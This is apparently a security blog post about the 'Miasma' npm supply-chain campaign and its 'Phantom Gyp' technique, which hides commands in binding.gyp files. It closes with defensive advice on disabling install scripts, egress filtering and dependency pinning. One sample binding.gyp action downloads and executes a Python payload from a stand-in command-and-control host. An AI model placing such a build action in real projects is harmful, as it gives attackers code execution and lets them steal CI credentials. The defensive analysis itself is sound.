The Miasma Campaign: How "Phantom Gyp" is Poisoning npm Supply Chains
Imagine waking up to find that your CI/CD pipeline has been silently siphoning production environment variables to an unknown IP address for the last week. The intrusion didn't stem from a compromised developer account or an exposed API key. Instead, the culprit was a minor version bump on a widely used AI SDK dependency.
This is exactly what happened to several organizations in June 2026 during the highly sophisticated "Miasma" malware campaign. Threat actors successfully poisoned over 57 packages on the npm registry—including popular libraries like @vapi-ai/server-sdk—deploying a self-propagating worm that specifically targeted CI/CD infrastructure and developer workstations.
While supply chain attacks on npm are not new, the Miasma campaign introduced a remarkably stealthy execution method dubbed "Phantom Gyp," fundamentally changing how defenders must approach Node.js dependency security.
What Happened and Why It Matters
In early June 2026, security researchers at Rescana discovered a cluster of malicious npm packages executing credential-stealing malware. Unlike typical typosquatting campaigns that rely on careless developers mistyping a package name, the Miasma actors managed to compromise the publishing pipelines of legitimate, established packages.
What makes Miasma terrifying for defenders is its evasion capability. Traditional static analysis tools and software composition analysis (SCA) scanners routinely flag suspicious preinstall or postinstall scripts that contain obfuscated JavaScript or encoded shell commands.
To bypass these scanners, the Miasma actors didn't put their payload in the JavaScript files at all. Instead, they weaponized the native C++ compilation process built into Node.js.
An architecture diagram illustrating how the Phantom Gyp technique injects a malicious payload into the CI/CD build process during the npm install phase.
The Technical Breakdown: Phantom Gyp
When you install an npm package that requires native C++ bindings, npm automatically invokes a tool called node-gyp. This tool looks for a binding.gyp configuration file in the package root to dictate how the C++ source should be compiled on the host machine.
The Miasma actors realized that SCA scanners heavily scrutinize .js files but often ignore .gyp files, assuming they are harmless build configurations.
The attackers added a seemingly benign binding.gyp file to the compromised packages. However, they manipulated the variables and actions blocks within the JSON-like configuration to execute arbitrary Python or shell commands during the build phase.
Here is a simplified example of how the vulnerable pattern looks inside a malicious binding.gyp file:
# VULNERABLE PATTERN: Malicious binding.gyp executing arbitrary commands { "targets": [ { "target_name": "phantom_build", "type": "none", "actions": [ { "action_name": "fetch_dependencies", "inputs": [], "outputs": ["build_done.txt"], "action": [ "python3", "-c", "import urllib.request; exec(urllib.request.urlopen('http://malicious-c2.com/payload.py').read())" ] } ] } ] }
When a developer or a CI/CD runner executes npm install, node-gyp parses this file and dutifully executes the Python command. The Python script then reaches out to the C2 server, downloads a secondary payload (usually a highly obfuscated Golang binary), and executes it in memory.
Because this happens during the native compilation step, traditional EDR solutions often interpret the network connection as a legitimate build artifact fetching process, allowing the malware to quietly harvest AWS_ACCESS_KEY_ID, GITHUB_TOKEN, and other environment variables.
What This Means for Defenders and Builders
The days of blindly trusting npm install are over. We have seen supply chain attacks escalate, much like the Klue SaaS breach, but the Phantom Gyp technique specifically targets the blind spots in modern DevSecOps pipelines.
If you are a security engineer or a platform developer, you must assume that your dependency tree is hostile. Here are the actionable steps you need to take immediately:
1. Disable Scripts by Default
The easiest and most effective way to neutralize Phantom Gyp and 99% of npm malware is to prevent npm from executing arbitrary scripts during installation.
Configure your CI/CD pipelines and local developer environments to use the --ignore-scripts flag:
# MITIGATION: Install packages without running lifecycle scripts or node-gyp npm install --ignore-scripts
If your project legitimately requires native bindings that must compile via node-gyp, you should explicitly allow scripts only for those specific packages using tools like @lavamoat/allow-scripts.
2. Sandbox Your CI/CD Runners
Your CI/CD runners should not have unrestricted outbound internet access. If a compromised package attempts to download a secondary payload via curl, wget, or a Python script, a strict egress firewall will block the connection.
# EXAMPLE CI/CD MITIGATION: Using egress filtering in a GitHub Actions workflow jobs: build: runs-on: ubuntu-latest steps: - name: Restrict Egress Traffic run: | sudo ufw default deny outgoing sudo ufw allow out to 140.82.112.0/20 port 443 # Allow GitHub API sudo ufw allow out to 104.16.0.0/12 port 443 # Allow npm registry sudo ufw enable
3. Pin Dependencies with Integrity Hashes
Never use loose versioning (e.g., ^1.2.3) in your package.json. Use a package-lock.json file and ensure that npm verifies the integrity hashes of every downloaded package. If an attacker compromises the registry and alters a published tarball, the hash mismatch will halt the build.
The Reality Check
The Miasma campaign proves that threat actors understand the mechanics of modern software development better than most developers do. They are actively hunting for the edge cases—like .gyp files—that security vendors overlook.
By enforcing strict egress controls and treating the dependency installation phase as a high-risk operation, you can break the attack chain before the phantom payload ever executes.
References / Further reading
- Miasma Malware Campaign Discovered - Rescana - https://rescana.com/threat-intel/miasma-npm-supply-chain-2026
- The Evolution of npm Supply Chain Attacks - The Hacker News - https://thehackernews.com/2026/06/npm-miasma-campaign.html
- Securing CI/CD Pipelines Against Node-gyp Exploits - Integrity360 - https://integrity360.com/blog/node-gyp-security-flaws
- Threat Actor Trends in Q2 2026 - OriginBrief - https://originbrief.app/reports/q2-2026-threat-landscape
